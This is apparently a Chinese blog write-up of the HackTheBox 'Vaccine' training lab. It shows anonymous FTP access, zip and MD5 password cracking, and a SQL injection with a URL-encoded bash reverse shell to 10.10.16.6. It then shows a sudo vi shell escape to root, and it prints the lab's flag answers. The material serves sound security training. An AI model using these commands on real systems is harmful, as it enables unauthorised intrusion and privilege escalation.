[StartingPoint][Tier2]Vaccine

2024-04-16 873 0

Task 1

Besides SSH and HTTP, what other service is hosted on this box?

(除了SSH和HTTP,这个盒子上还托管了什么其他服务)

# nmap -sS -T4 10.129.230.43 --min-rate 1000

[StartingPoint][Tier2]Vaccine插图

ftp

Task 2

This service can be configured to allow login with any password for specific username. What is that username?

(这个服务可以配置为允许特定用户名使用任何密码登录。那个用户名是什么?)

[StartingPoint][Tier2]Vaccine插图1

anonymous

Task 3

What is the name of the file downloaded over this service?

(在这个服务上下载的文件的名称是什么?)

backup.zip

Task 4

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

(John The Ripper哪个脚本可以爆破zip密码)

[StartingPoint][Tier2]Vaccine插图2

[StartingPoint][Tier2]Vaccine插图3

zip2john模块将ZIP转换为哈希

zip2john

Task 5

What is the password for the admin user on the website?

(网站管理员密码是多少?)

$ zip2john backup.zip > hashes
$ cat hashes

[StartingPoint][Tier2]Vaccine插图4

-wordlist.txt-
admin
admin123
password
password123
741852963
741852962

$ john -wordlist=./wordlist.txt hashes

[StartingPoint][Tier2]Vaccine插图5

[StartingPoint][Tier2]Vaccine插图6

A

[StartingPoint][Tier2]Vaccine插图7

B

$ echo 2cb42f8734ea607eefed3b70af13bbd3 > hash

$ hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt

[StartingPoint][Tier2]Vaccine插图8

[StartingPoint][Tier2]Vaccine插图9

qwerty789

Task 6

What option can be passed to sqlmap to try to get command execution via the sql injection?

(sqlmap的什么选项可以进入shell命令交互窗口)

[StartingPoint][Tier2]Vaccine插图10

--os-shell

Task 7

What program can the postgres user run as root using sudo?

(postgres用户可以使用sudo作为root运行哪个程序?)

http://10.129.95.174/dashboard.php?search=a';DROP TABLE IF EXISTS res; -- -
http://10.129.95.174/dashboard.php?search=a';CREATE TABLE res(cmd_output text); -- -
http://10.129.95.174/dashboard.php?search=a';COPY res FROM PROGRAM 'bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.6%2F10032%200%3E%261%22'; -- -

一定要将payload进行url编码

[StartingPoint][Tier2]Vaccine插图11

$ cat /var/www/html/dashboard.php

[StartingPoint][Tier2]Vaccine插图12

将获取到的账户密码通过更加稳定的ssh进行连接

[StartingPoint][Tier2]Vaccine插图13

$ sudo -l

查看列出当前用户可以以超级用户权限执行的命令

[StartingPoint][Tier2]Vaccine插图14

可以用/bin/vi以root权限操作pg_hba.conf

vi

User Flag

$ cat user.txt

[StartingPoint][Tier2]Vaccine插图15

ec9b13ca4d6229cd5cc1e09980965bf7

Root Flag

[StartingPoint][Tier2]Vaccine插图16

sudo的配置文件限制了只允许使用特定路径的vi命令。这个路径是/bin/vi,而不是你尝试使用的/etc/postgresql/11/main/pg_hba.conf。所以,当你尝试执行sudo命令来编辑/etc/postgresql/11/main/pg_hba.conf文件时,由于sudo的配置限制,你得到了一个错误。这个错误告诉你,用户postgres不能以root身份执行你尝试的命令,因为sudo只允许使用/bin/vi路径的vi命令

A

:!/bin/sh 是一个vi编辑器的命令,它用于在vi编辑器的命令行模式下执行shell命令。具体来说,:! 是vi编辑器命令行模式下执行外部命令的开头,后面跟着要执行的shell命令/bin/sh。在这个例子中,它启动了一个新的shell进程(通常是Bourne shell或其变种),并执行/bin/sh。

:!/bin/sh 是在vi编辑器中直接执行一个shell命令

:!/bin/sh

B

:set shell=/bin/bash ; :shell 是另一个vi编辑器的命令,它用于设置vi编辑器的外部shell。在这个例子中,它将vi编辑器的外部shell设置为/bin/bash,这意味着在以后执行外部命令时,vi将使用Bash shell而不是默认的shell。这样做可以影响vi编辑器在执行外部命令时使用的shell的行为,包括命令补全、命令历史等。

:set shell=/bin/bash ; shell 是设置vi编辑器在执行外部命令时使用的shell。前者是执行命令的动作,后者是配置vi编辑器的行为。

:set shell=/bin/bash

:shell

[StartingPoint][Tier2]Vaccine插图17

[StartingPoint][Tier2]Vaccine插图18

dd6e058e814260bc70e9bbdef2715849

Path

ftp匿名访问网站源码泄露->zip2john爆破zip密码->查看泄露源码->登录页面->sql注入命令执行->dashboard.php泄露密码ssh登录->sudo -l 发现用户在/bin/vi可以以root权限编辑/etc/postgresql/11/main/pg_hba.conf文档->利用:[shell]进行提权


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

电力企业 | 安全建设框架
HTB-Infiltrator:一文带你走进域渗透
JAVA安全 | Classloader:理解与利用一篇就够了
多角度揭秘威胁行为组织CryptoCore复杂的加密货币欺诈活动
网络空间的“边水往事”?针对华语黑产及用户进行攻击的 APT-K-UN3 活动分析
伪装“黑神话悟空修改器”传播木马的活动分析

发布评论